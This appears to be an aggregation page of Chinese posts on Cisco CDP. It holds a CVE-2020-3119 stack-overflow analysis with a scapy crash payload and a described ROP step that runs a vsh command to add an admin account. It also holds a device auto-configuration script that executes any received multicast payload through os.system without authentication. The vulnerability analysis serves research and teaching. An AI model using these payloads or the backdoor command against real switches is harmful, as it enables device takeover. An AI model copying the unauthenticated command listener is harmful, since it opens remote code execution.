精华内容
下载资源
问答
  • 最近Cisco CDP协议爆了几个漏洞,挑了个栈溢出的CVE-2020-3119先来搞搞,Armis Labs也公开了他们的分析Paper。 环境搭建 虽然最近都在搞IoT相关的,但是还是第一次搞这种架构比较复杂的中型设备,大部分时间还是花...

    Cisco Discovery Protocol(CDP)协议是用来发现局域网中的Cisco设备的链路层协议。

    最近Cisco CDP协议爆了几个漏洞,挑了个栈溢出的CVE-2020-3119先来搞搞,Armis Labs也公开了他们的分析Paper。

    环境搭建

    虽然最近都在搞IoT相关的,但是还是第一次搞这种架构比较复杂的中型设备,大部分时间还是花在折腾环境上。

    3119这个CVE影响的是Cisco NX-OS类型的设备,去Cisco的安全中心找了下这个CVE,搜搜受影响的设备。发现受该漏洞影响的设备都挺贵的,也不好买,所以暂时没办法真机测试研究了。随后搜了一下相关设备的固件,需要氪金购买。然后去万能的淘宝搜了下,有代购业务,有的买五六十(亏),有的卖十几块。

    固件到手后,我往常第一想法是解开来,第二想法是跑起来。最开始我想着先把固件解开来,找找cdp的binary,但是在解固件的时候却遇到了坑。

    如今这世道,解固件的工具也就binwalk,我也就只知道这一个,也问过朋友,好像也没有其他好用的了。(如果有,求推荐)。

    但是binwalk的算法在遇到非常多的压缩包的情况下,非常耗时,反正我在挂那解压了两天,还没解完一半。在解压固件这块折腾了好久,最后还是无果而终。

    最后只能先想办法把固件跑起来了,正好知道一个软件可以用来仿真Cisco设备————GNS3。

    GNS3的使用说明

    学会了使用GNS3以后,发现这软件真好用。

    首先我们需要下载安全GNS3软件,然后还需要下载GNS3 VM。个人电脑上装个GNS3提供了可视化操作的功能,算是总控。GNS3 VM是作为GNS3的服务器,可以在本地用虚拟机跑起来,也可以放远程。GNS3仿真的设备都是在GNS3服务器上运行起来的。

    1.首先设置好GNS3 VM

    CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析

     

    2.创建一个新模板

    CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析

     

    3.选择交换机 Cisco NX-OSv 9000

    CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析

     

    在这里我们发现是用qemu来仿真设备的,所以前面下载的时候需要下载qcow2。

    随后就是把相应版本的固件导入到GNS3 Server。

    CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析

     

    导入完成后,就能在交换机一栏中看到刚才新添加的设备。

    4.把Cisco设备拖到中央,使用网线直连设备

    CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析

     

    这里说明一下,Toolbox是我自己添加的一个ubuntu docker模板。最开始我是使用docker和交换机设备的任意一张网卡相连来进行操作测试的。

    不过随后我发现,GNS3还提供的了一个功能,也就是图中的Cloud1,它可以代表你宿主机/GNS3 Server中的任意一张网卡。

    因为我平常使用的工具都是在Mac中的ubuntu虚拟机里,所以我现在的使用的方法是,让ubuntu虚拟机的一张网卡和Cisco交换机进行直连。

    PS:初步研究了下,GNS3能提供如此简单的网络直连,使用的是其自己开发的ubridge,Github上能搜到,目测是通过UDP来转发流量包。

    CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析

     

    在测试的过程中,我们还可以右击这根直连线,来使用wireshark抓包。

    5.启动所有节点

    最后就是点击上方工具栏的启动键,来启动你所有的设备,如果不想全部启动,也可以选择单独启动。

    研究Cisco交换机

    不过这个时候网络并没有连通,还需要通过串口连接到交换机进行网络配置。GNS3默认情况下会把设备的串口通过telnet转发出来,我们可以通过GNS3界面右上角看到telnet的ip/端口。

    CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析

     

    第一次连接到交换机需要进行一次初始化设置,设置好后,可以用你设置的管理员账号密码登陆到Cisco管理shell。

    经过研究,发现该设备的结构是,qemu启动了一个bootloader,然后在bootloader的文件系统里面有一个nxos.9.2.3.bin文件,该文件就是该设备的主体固件。启动以后是一个Linux系统,在Linux系统中又启动了一个虚拟机guestshell,还有一个vsh.bin。在该设备中,用vsh替代了我们平常使用Linux时使用的bash。我们telnet连进来后,看到的就是vsh界面。在vsh命令中可以设置开启telnet/ssh,还可以进入Linux shell。但是进入的是guestshell虚拟机中的Linux系统。

    本次研究的cdp程序是无法在虚拟机guestshell中看到的。经过后续研究,发现vsh中存在python命令,而这个python是存在于Cisco宿主机中的nxpython程序。所以可以同python来获取到Cisco宿主机的Linux shell。然后通过mac地址找到你在GNS3中设置连接的网卡,进行ip地址的设置。

    bash
    Cisco# python
    Python 2.7.11 (default, Feb 26 2018, 03:34:16)
    [GCC 4.6.3] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import os
    >>> os.system("/bin/bash")
    bash-4.3$ id
    uid=2002(admin) gid=503(network-admin) groups=503(network-admin),504(network-operator)
    bash-4.3$ sudo -i
    root@Cisco#ifconfig eth8
    eth8      Link encap:Ethernet  HWaddr 0c:76:e2:d1:ac:07
              inet addr:192.168.102.21  Bcast:192.168.102.255  Mask:255.255.255.0
              UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
              RX packets:82211 errors:61 dropped:28116 overruns:0 fr ame:61
              TX packets:137754 errors:0 dropped:0 overruns:0 carrier:0
              collisions:0 txqueuelen:1000
              RX bytes:6639702 (6.3 MiB)  TX bytes:246035115 (234.6 MiB)
    
    root@Cisco#ps aux|grep cdp
    root     10296  0.0  0.8 835212 70768 ?        Ss   Mar18   0:01 /isan/bin/cdpd
    root     24861  0.0  0.0   5948  1708 ttyS0    S+   05:30   0:00 grep cdp
    

    设置好ip后,然后可以在我们mac上的ubuntu虚拟机里面进行网络连通性的测试,正常情况下这个时候网络已经连通了。

    之后可以把ubuntu虚拟机上的公钥放到cisoc设备的/root/.ssh/authorized_keys,然后就能通过ssh连接到了cisco的bash shell上面。该设备的Linux系统自带程序挺多的,比如后续调试的要使用的gdbserver。nxpython还装了scapy。

    使用scapy发送CDP包

    接下来我们来研究一下怎么发送cdp包,可以在Armis Labs发布的分析中看到cdp包格式,同样我们也能开启Cisco设备的cdp,查看Cisco设备发送的cdp包。

    Cisco#conf ter
    Cisco(config)# cdp enable
    # 比如我前面设置直连的上第一个网口
    Cisco(config)# interface ethernet 1/7
    Cisco(config-if)# no shutdown
    Cisco(config-if)# cdp enable
    Cisco(config-if)# end
    Cisco# show cdp interface ethernet 1/7
    Ethernet1/7 is up
        CDP enabled on interface
        Refresh time is 60 seconds
        Hold time is 180 seconds
    

    然后我们就能通过wireshark直接抓网卡的包,或者通过GNS3抓包,来研究CDP协议的格式。

    CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析

     

    因为我习惯使用python写PoC,所以我开始研究怎么使用python来发送CDP协议包,然后发现scapy内置了一些CDP包相关的内容。

    下面给一个简单的示例:

    from scapy.contrib import cdp
    from scapy.all import Ether, LLC, SNAP
    
    # link layer
    l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
    # Logical-Link Control
    l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
    # Cisco Discovery Protocol
    cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
    deviceid = cdp.CDPMsgDeviceID(val=cmd)
    portid = cdp.CDPMsgPortID(iface=b"ens38")
    address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3"))
    cap = cdp.CDPMsgCapabilities(cap=1)
    cdp_packet = cdp_v2/deviceid/portid/address/cap
    packet = l2_packet / cdp_packet
    sendp(packet)
    

    触发漏洞

    下一步,就是研究怎么触发漏洞。首先,把cdpd从设备中给取出来,然后把二进制丢到ida里找漏洞点。根据Armis Labs发布的漏洞分析,找到了该漏洞存在于cdpd_poe_handle_pwr_tlvs函数,相关的漏洞代码如下:

    if ( (signed int)v28 > 0 )
          {
            v35 = (int *)(a3 + 4);
            v9 = 1;
            do
            {
              v37 = v9 - 1;
              v41[v9 - 1] = *v35;
              *(&v40 + v9) = _byteswap_ulong(*(&v40 + v9));
              if ( !sdwrap_hist_event_subtype_check(7536640, 104) )
              {
                *(_DWORD *)v38 = 104;
                snprintf(&s, 0x200u, "pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9));
                sdwrap_hist_event(7536640, strlen(&s) + 5, v38);
              }
              if ( sdwrap_chk_int_all(104, 0, 0, 0, 0) )
              {
                v24 = *(&v40 + v9);
                buginf_ftrace(1, &sdwrap_dbg_modname, 0, "pwr_levels_requested[%d] = %d\n");
              }
              snprintf(v38, 0x3FCu, "1111 pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9), v24);
              sdwrap_his_log_event_for_uuid_inst(124, 7536640, 1, 0, strlen(v38) + 1, v38);
              *(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);
              ++v35;
              ++v9;
            }
            while ( v9 != v28 + 1 );
          }
    

    后续仍然是根据Armis Labs漏洞分析文章中的内容,只要在cdp包中增加Power Request和Power Level就能触发cdpd程序crash:

    power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb"*21)
    power_level = cdp.CDPMsgPower(power=16)
    cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level
    

    漏洞利用

    首先看看二进制程序的保护情况:

    $ checksec cdpd_9.2.3
        Arch:     i386-32-little
    
        RELRO:    No RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled
        RPATH:    '/isan/lib/convert:/isan/lib:/isanboot/lib'
    

    发现只开启了NG和PIE保护,32位程序。

    因为该程序没法进行交互,只能一次性发送完所有payload进行利用,所以没办法泄漏地址。因为是32位程序,cdpd程序每次crash后会自动重启,所以我们能爆破地址。

    在编写利用脚本之前需要注意几点:

    1.栈溢出在覆盖了返回地址后,后续还会继续覆盖传入函数参数的地址。

     *(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);
    

    并且因为在漏洞代码附近有这样的代码,需要向a1地址附近的地址写入值。如果只覆盖返回地址,没法只通过跳转到一个地址达到命令执行的目的。所以我们的payload需要把a1覆盖成一个可写的地址。

    2.在cdpd_poe_handle_pwr_tlvs函数中,有很多分支都会进入到cdpd_send_pwr_req_to_poed函数,而在该函数中有一个__memcpy_to_buf函数,这个函数限制了Power Requested的长度在40字节以内。这么短的长度,并不够进行溢出利用。所以我们不能进入到会调用该函数的分支。

          v10 = *(_WORD *)(a1 + 1208);
          v11 = *(_WORD *)(a1 + 1204);
          v12 = *(_DWORD *)(a1 + 1212);
          if ( v32 != v10 || v31 != v11 )
    

    我们需要让该条件判断为False,不进入该分支。因此需要构造好覆盖的a1地址的值。

    3.我们利用的最终目的不是执行execve("/bin/bash"),因为没法进行交互,所以就算执行了这命令也没啥用。那么我们能有什么利用方法呢?第一种,我们可以执行反连shell的代码。第二种,我们可以添加一个管理员账号,比如执行如下命令:

    /isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"
    

    我们可以通过执行system(cmd)达到目的。那么接下来的问题是怎么传参呢?经过研究发现,在CDP协议中的DeviceID相关的字段内容都储存在堆上,并且该堆地址就储存在栈上,我们可以通过ret来调整栈地址。这样就能成功向system函数传递任意参数了。

    最后放一个演示视频:

     

    参考链接

    1. https://go.armis.com/hubfs/White-papers/Armis-CDPwn-WP.pdf
    2. https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce
    3. https://software.cisco.com/download/home/286312239/type/282088129/release/9.2(3)?i=!pp
    4. https://scapy.readthedocs.io/en/latest/api/scapy.contrib.cdp.html
    展开全文
  • 基于Cisco CDP协议的家用路由器以及盒子的自动配置随想

    分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow

    也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!

                    每次买来一个设备,比如一台新的路由器,家庭盒子,就是荣耀立方,小米盒子这种,唯一觉得头大的就是它们的初始配置。
            这种盒子几乎都有一个初始IP地址用于插上网线登录界面后来配置盒子的IP地址,或者说更加先进一点,其本身有一个AP,然后用你的手机连上这个热点进行手机配置,看起来简直特别的酷!但这是假象!
            手机连接这个AP期间,手机不能连别的AP,甚至无法4G/3G,或者说用笔记本配置的话,网线连接笔记本和盒子的时候,这个笔记本要添加一个盒子的初始IP地址同网段的IP,然后接入,除非笔记本有额外的无线网卡(一般都有,好吧,这没问题!)或者双网卡,不然笔记本就不能上网查资料(配置过程中遇到问题很正常)!万一家里现有的网络节点IP地址与这个初始IP地址冲突,就...要知道192.168.1.1几乎成了通用的初始IP,如果你一下子买了多个(同型号?)盒子的话,你不得不做重复的劳动,连接AP,或者不断插拔网线!
            还有很多别的不便,请用过的人,踩过坑的人来补充...
            所以说,鉴于以上的不便,这种设备一直都是极客的玩具,对于一般人而言,那简直是噩梦。我本人是个是个方便至上的人,最讨厌的就是麻烦,当有人问我如何翻墙的时候,我的回答就是不翻墙,因为太麻烦,我不用google又死不了人,所以我宁可不用我也不会折腾什么翻墙。对于我不买家庭盒子或者买了扔在那不用的原因,也一样,不用又死不了人,所以我宁可不用也不愿意麻烦!
            但是,当我在工作中发现了Mikrotik之后,我改变了想法。
            Mikrotik可以装在VMWare中,这就对研究它提供了方便。而我确实也将它装在了VMWare中。启动后,我正愁如何配置它,上网搜索,发现了一个叫做WinBox的东西,这玩意儿可以在不配置IP地址的情况下,直接通过这个Mikrotik系统的MAC地址”连接“到系统,然后对它配置IP地址!!
            这其实没有什么不可思议的,谁告诉你建立连接一定要通过IP地址的啊!谁告诉你TCP就是一切的啊!事实上,昨天当前同事问我怎么才可以精通网络的时候,我告诉他,把除了TCP之外的所有关于网络的东西都精通了,你就精通网络了。除了单播IP地址之外,我们还有组播,即便没有组播IP地址,我们还有组播MAC地址可供利用!几乎所有的交换机都会向所有端口转发组播流量!
            而这关于组播的,就是根本!组播是一个抽象的组织者,组播地址并不需要与任何主机绑定,它是无实体的,对于MAC组播而言,只要组播流量到达该网卡,它就能接收,对于IP组播而言,只要本机加入了一个”组播组“,它就能处理。对于还没有IP地址的组播通信,显然只能用MAC组播了,怎么把网卡收到的组播流量路由到应用程序,无法靠协议栈路由了,因为此时IP层是通不过的,靠什么呢?靠PACKET套接字!
            当然,以上的论述有点简单了,根本没有涉及IGMP以及剪枝之类的,事实上,对于我的需求而言,根本不需要那些,同局域网通信,上面那些足够了!
            通过Microtik的配置,我们来一探究竟!
            打开WinBox界面,出现了Mikrotik设备的MAC地址以及其”Mikrotik“标识,然后就可以配置它了!这是怎么做到的?!要知道此时这个Mikrotik设备的IP地址我完全不知道!正如我早就预料到的,它使用了组播!其实,Mikrotik设备在启动后就往外组播发送CDP包,这个CDP是Cisco公司的协议,旨在建立一个与网络层协议无关的链路层邻居信息交换协议。它可以在没有IP地址或者网络层根本就不运行IP协议的情况下向外播送自己的设备信息,MAC地址等,这就是为什么WinBox可以显示这个Mikrotik设备的原因。
    一个组播数据包在没有IP地址的情况下也是可以发送的,只要有组播端口路由项就好!接下来的问题是,我如何在外部设备上发送数据给Mikrotik设备,如果可以让Mikrotik设备的一个侦听程序收到我的数据包,就可以让它执行任意程序,比如ifconfig $lan ...
            但是,我错了,虽然组播数据可以让交换机转发给Mikrotik设备(这其实是最根本的一步!),但由于此时Mikrotik并没有IP地址,数据包是无法被协议栈接收的!怎么办?!此时我就想到了pcap!pcap是一个万能的数据包导入框架,它甚至可以将不属于本机流量的数据导入到本机,前提是数据到达了本机网卡!而关于数据到达本机网卡这件事,组播以及解决了!
            好了,到此为止,方案就有了。为了验证一下这个方案,创建两个虚拟机,分别为A,B,每一个虚拟机一块网卡,这两块网卡全部放在Segment中,因此它们属于一个链路。启动两个虚拟机,但是并不配置任何一个IP地址,因此两个虚拟机都是没有IP地址的!
    Ctrl-G进入虚拟机A的终端编程,写Python脚本,脚本非常简单:
    #!/usr/local/bin/pythonimport sysimport osimport timefrom time import sleep,ctimeimport signalimport threadingfrom scapy.all import *flt_in = "dst 224.1.2.3 and udp"def signal_handler(signal, frame):        os._exit(0)class ThreadWraper(threading.Thread):        def __init__(self,func,args,name=''):                threading.Thread.__init__(self)                self.name=name                self.func=func                self.args=args        def run(self):                apply(self.func,self.args)def recv_in(pktdata):        if UDP in pktdata and pktdata[UDP]:                payload = pktdata[UDP].payload                print str(payload)                # TODO太多了!在执行配置命令前,起码要有验证...                # 执行收到的字符串所代表的命令!                os.system(str(payload))                # 配好了就退出吧,不然岂不是随便谁都可以扔个包过来了么?还好,上面可以增加一些验证。                os._exit(0)def recv_packet_in():        sniff(iface ="eth1", prn = recv_in, store = 0, filter = flt_in)if __name__ == '__main__':        signal.signal(signal.SIGINT, signal_handler)        in_thread = ThreadWraper(recv_packet_in,(), recv_packet_in.__name__)        in_thread.setDaemon(True)          in_thread.start()        signal.pause()


    这是一个收包并执行命令的程序,我命名为exec.py,那么还需要一个发送命令的程序,如下:
    #include   <stdio.h>#include   <string.h>#include   <sys/socket.h>#include   <netinet/in.h>int main(){        int sd;        struct sockaddr_in addr_to_config;        char *buf = "ifconfig eth0 1.1.1.8/10";        memset(&addr_to_config, 0, sizeof(addr_to_config));        addr_to_config.sin_family = AF_INET;        addr_to_config.sin_addr.s_addr = inet_addr("224.1.2.3");        addr_to_config.sin_port = htons(1111);        sd = socket(AF_INET, SOCK_DGRAM, 0);        if(sd < 0) {                return   0;        }        if(sendto(sd, buf, strlen(buf), 0, (struct sockaddr*)&addr_to_config, sizeof(addr_to_config)) < 0) {                return   0;        }        return   1;}


    编译成config。
            这个程序其实也很简单,就一个组播数据发送即可,它运行在虚拟机B。它发送exec.py所执行的payload。整个过程没有IP地址的参与。exec.py运行在待配置的盒子上,即虚拟机A,而config则运行在与之同网段的设备上,即虚拟机B,执行conf便会发送组播,发送一个字符串到组播地址,比如发送”ifconfig eth1 1.1.1.8/10“,那么待exec.py收到
    后就会执行之,最终exec.py所在机器的eth1的IP地址就会被配置成1.1.1.8/10现在的问题是,如果我买了10个盒子,我该如何区分我发送的数据会到达哪个盒子呢?此时就想到了CDP,盒子先把自己的信息,包括标识序列号,包括MAC地址组播出去,然后类似WinBox的程序接收到组播消息,用户按照这类信息去配置具体的盒子!
            这样就完成了自动配置的全部:
    0.将盒子连接在与配置机同样的网络内;
    1.盒子启动,组播自己的标识信息;
    2.与盒子连接在一个网络内的配置主机上运行conf.py程序根据收到的组播标识信息选择需要配置的盒子;
    3.填写配置信息到conf.py,然后使用组播将其发送到第2步选择的盒子;
    4.如果你觉得不够安全,那就可以使用SSL协议,不要以为SSL运行与TCP之上,其实它也可以运行与内存上,比如BIO_mem!
    ...

    以后再也不用事先去连接盒子的固定IP地址了,换一种方法,我们换一种方式,在盒子拥有自己的IP之前,完全通过组播通信,通过组播来配置IP地址!再也不用插拔网线以及连接AP了!
            不过这对于IPv4来讲是一种憧憬,对于IPv6而言,这是一种自然而然的东西,因为IPv6自然就有自动配置的功能。           

    给我老师的人工智能教程打call!http://blog.csdn.net/jiangjunshow

    这里写图片描述
    展开全文
  • CDP协议基础解析

    2020-10-24 08:32:46
    那么,CDP协议(Cisoco发现协议)是一种工作在数据链路层上的协议,主要用来发现和查看相邻设备的简单配置信息。这也是思科网络设备默认启用的一种第二层协议,而且还是识别所连接设备详细信息的一种重要协议。在故障...
  • 【实验内容】 ((1) 选择两台C2811 路由器、一台C3560-24PS 交换机,并按实验线路连接图进行连接。 (2) 在C2811A 路由器上,进入f0/0 和f0/1 接口模式,...(3)在C2811A、C2811B、C3560-24PS 上使用show cdp neighbor

    【实验内容】
    ((1) 选择两台C2811 路由器、一台C3560-24PS 交换机,并按实验线路连接图进行连接。

    在这里插入图片描述
    (2) 在C2811A 路由器上,进入f0/0 和f0/1 接口模式,使用no shutdown 命令激活接口,注意此时不要配置接口IP 地址。在C2811B 路由器上,进入f0/0 接口模式,使用no shutdown 命令激活接口,也不要配置接口IP 地址。
    C2811A
    在这里插入图片描述
    C2811B
    在这里插入图片描述
    (3)在C2811A、C2811B、C3560-24PS 上使用show cdp neighbors查看邻居情况。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    (4) 配置C2811A f0/0 接口IP 地址为192.168.1.1/24,f0/1 接口IP 地址为192.168.2.1/24;配置C2811B f0/0 接口IP 地址为192.168.1.2/24;配置C3560-24PS 的VLAN1 虚接口IP 地址为192.168.2.2/24。
    C2811A

    在这里插入图片描述
    C2811B
    在这里插入图片描述
    C3560
    在这里插入图片描述
    (5) 在C2811A 路由器上,使用show cdp,show cdp neighbors 和show cdp entry 等命令查看邻居情况。

    在这里插入图片描述
    (6)在C3560-24PS 上禁用CDP 协议的运行。使用show cdp查看禁用之后的情况。
    在这里插入图片描述
    【实验问题】
    1. 在C3560-24PS 上禁用CDP 协议的运行,C2811A 在180s内没有收到C3560-24PS的CDP消息,C2811A 会作出什么反应?

    Router#show cdp
    Global CDP information:
    Sending CDP packets every 60 seconds
    Sending a holdtime value of 180 seconds
    Sending CDPv2 advertisements is enabled
    Router#show cdp neighbors
    Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge
    S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone
    Device ID------Local Intrfce-----Holdtme------Capability-----Platform-----Port ID
    Router--------------Fas 0/1---------155 -------------- R -----------C2800-------Fas 0/0

    2. 在路由器C2811B上用show neighbors 时能不能看到C3560-24PS?能不能查看C3560-24PS的相关信息?
    Router#
    Router#show cdp neighbors
    Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge
    S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone
    Device ID--------Local Intrfce-------Holdtme-------Capability------Platform------Port ID
    Router---------------Fas 0/0----------- 145--------------- R ------------ C2800--------Fas 0/1

    3. CDP交换消息的过程中,是明文方式传送的吗?是否存在安全性问题?
    由于发出的所有CDP消息,都是以明文方式进行传输的,这些消忘中都包含有邻居设备的隐私、敏感信息,例如发送消忘的交换端口、消忘发送地址、软件平台版本、硬件平台版本等等。在缺省状态下,Csco品牌的交换机或路由器会自动在所有连接接口上发送CDP息,这些消息由于没有采取安全加密措施用户通过专业工具可以很轻松地窃取到这些敏感内容。当这些敏感信息被非法者拥有后,他们可以就能轻易了解到局域网中的组网结构,并通过相关网络中的重要主初进行恶意攻击,最终造成网络不能安全、稳定运行。

    展开全文
  • 浅谈CDP协议方案

    2021-01-19 22:15:32
    CDPCisco Discovery Protocol,Cisco设备发现协议)用于发现直连的CISCO设备相关信息。CDP利用直连的两个设备间定时发送hello信息(CDP数据包)维持邻居关系。  默认情况下,每隔60秒的时间,每个CISCO设备都要...
  • 思科CDP/LLDP协议

    千次阅读 2020-07-23 10:51:41
    CDP协议 思科发现协议 CDP是思科设备用来获取相邻设备的协议地址以及发现这些设备的平台。CDP 也可为路由器的使用提供相关接口信息。CDP 是一种独立媒体协议,运行在所有思科本身制造的设备上,包括路由器、网桥、接...

    CDP协议
    思科发现协议 CDP是思科设备用来获取相邻设备的协议地址以及发现这些设备的平台。CDP 也可为路由器的使用提供相关接口信息。CDP 是一种独立媒体协议,运行在所有思科本身制造的设备上,包括路由器、网桥、接入服务器和交换机。需要注意的是,CDP是工作在 Layer 2 的协议,默认情况下,每60秒以 01-00-0c-cc-cc-cc 为目的地址发送一次组播通告,当达到180秒的holdtime上限后仍未获得邻居设备的通告时,将清除邻居设备信息 。

    LLDP协议
    • LLDP(LLDP,Link Layer Discovery Protocol,链路层发现协议)是IEEE 802.1AB中定义的第二层发现协议,可以使得不同厂商设备之间的企业或运营商通过该功能可以清楚的了解整个网络的拓扑结构

    CDP
    C-R1(config)#cdp run //开启cdp协议
    C-R1(config)#no cdp run //关闭cdp协议
    C-R1(config)#int e0/0
    C-R1(config-if)#no cdp enable //关闭接口的cdp
    C-R1(config-if)#cdp enable //开启接口的cdp(前提是ios的cdp需要开启)
    C-R1#show cdp interface // 查看接口是否开启cdp (没开启cdp的接口将不显示)
    C-R1#show cdp traffic //查看cdp的流量
    C-R1#show cdp neighbors //查看邻居

    LLDP
    C-R1(config)#lldp run //开启lldp

    展开全文
  • CDPCisco Discovery Protocol,Cisco设备发现协议)用于发现直连的CISCO设备相关信息。CDP利用直连的两个设备间定时发送hello信息(CDP数据包)维持邻居关系。  默认情况下,每隔60秒的时间,每个CISCO设备都要...
  • CDP(思科发现协议)

    2015-08-23 10:25:16
    CDP (Cisco Discovery Protocol 思科发现协议)CDP 基本上是用来获取相邻设备的协议地址以及发现这些设备的平台。CDP 也可为路由器的使用提供相关接口信息。CDP 是一种独立媒体协议,运行在所有思科本身制造的设备上...
  • CISCO CDP邻居发现协议

    2018-09-27 20:18:35
    CDP (Cisco Discovery Protocol)邻居发现协议CDP协议工作在数据链路层,是cisco私有的一种协议,并且和传输介质和与协议无关。只要物理层和数据链路层正常,CDP就可以正常工作。运行在包括的所有Cisco生产的设备:...
  • 思科CDP自动发现协议

    2013-05-10 09:46:38
    此源码具有很高的移植性,运行后可向同一局域网络,定时发送CDP数据包.
  • 网络篇 思科发现协议CDP-15

    千次阅读 2020-11-07 01:43:35
    目录 一、 Cisco发现协议概述 二、使用CDP获取设备信息 ...在默认情况下,思科设备启动后,CDP也会自动启动,同时自动发现运行CDP协议的直连设备。CDP是一种简单、低开销的协议,它每60秒发送一次,180秒为超
  • 通过运行CDP 协议思科设备能够在与它们直 连的设备之间分享有关操作系统软件版本,以及IP地址,硬件平台等相关信息
  • cdp协议cisco专有的一种协议,世间万物存在就有他的道理,cdp协议也不例外。下面我就以我在实际应用过程中的感触做一说明。  画网络拓扑时就用到cdp,首先cdp发现的是与本地设备直连得设备,而且必须是cisco的...
  • CDP协议

    2016-07-06 14:06:50
    通过运行CDP协议思科设备能够在与它们直连的设备之间分享有关操作系统软件版本,以及IP地址,已经硬件平台。2.用途 从CDP的字面意思我们可以理解到,这是一种设备发现协议,类似的协议有HP的LLDP(Li...
  • CDP思科发现协议

    2021-04-02 16:13:25
    CDP邻居发现协议CDP协议概述配置CDP协议特性启用或禁用CDP协议监视与维护CDP协议 CDP协议概述 思科发现协议(Cisco Discovery Protocol,CDP)是Cisco所有的协议,只能在思科设备上使用。该协议的目的是帮助网络管理...
  • cisco CDP协议应用学习

    2011-03-11 17:22:23
    CDP协议思科的私有协议,工作在数据链路层,主要用于发现直接相连的路由器信息,该协议默认是启用的,可以看到第三层信息。 实验拓扑如下: R1的s0/0连接R2的s0/0,R1的s0/1连接R3的s0/0 因为是实验环境,...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,607
精华内容 1,042
关键字:

思科cdp协议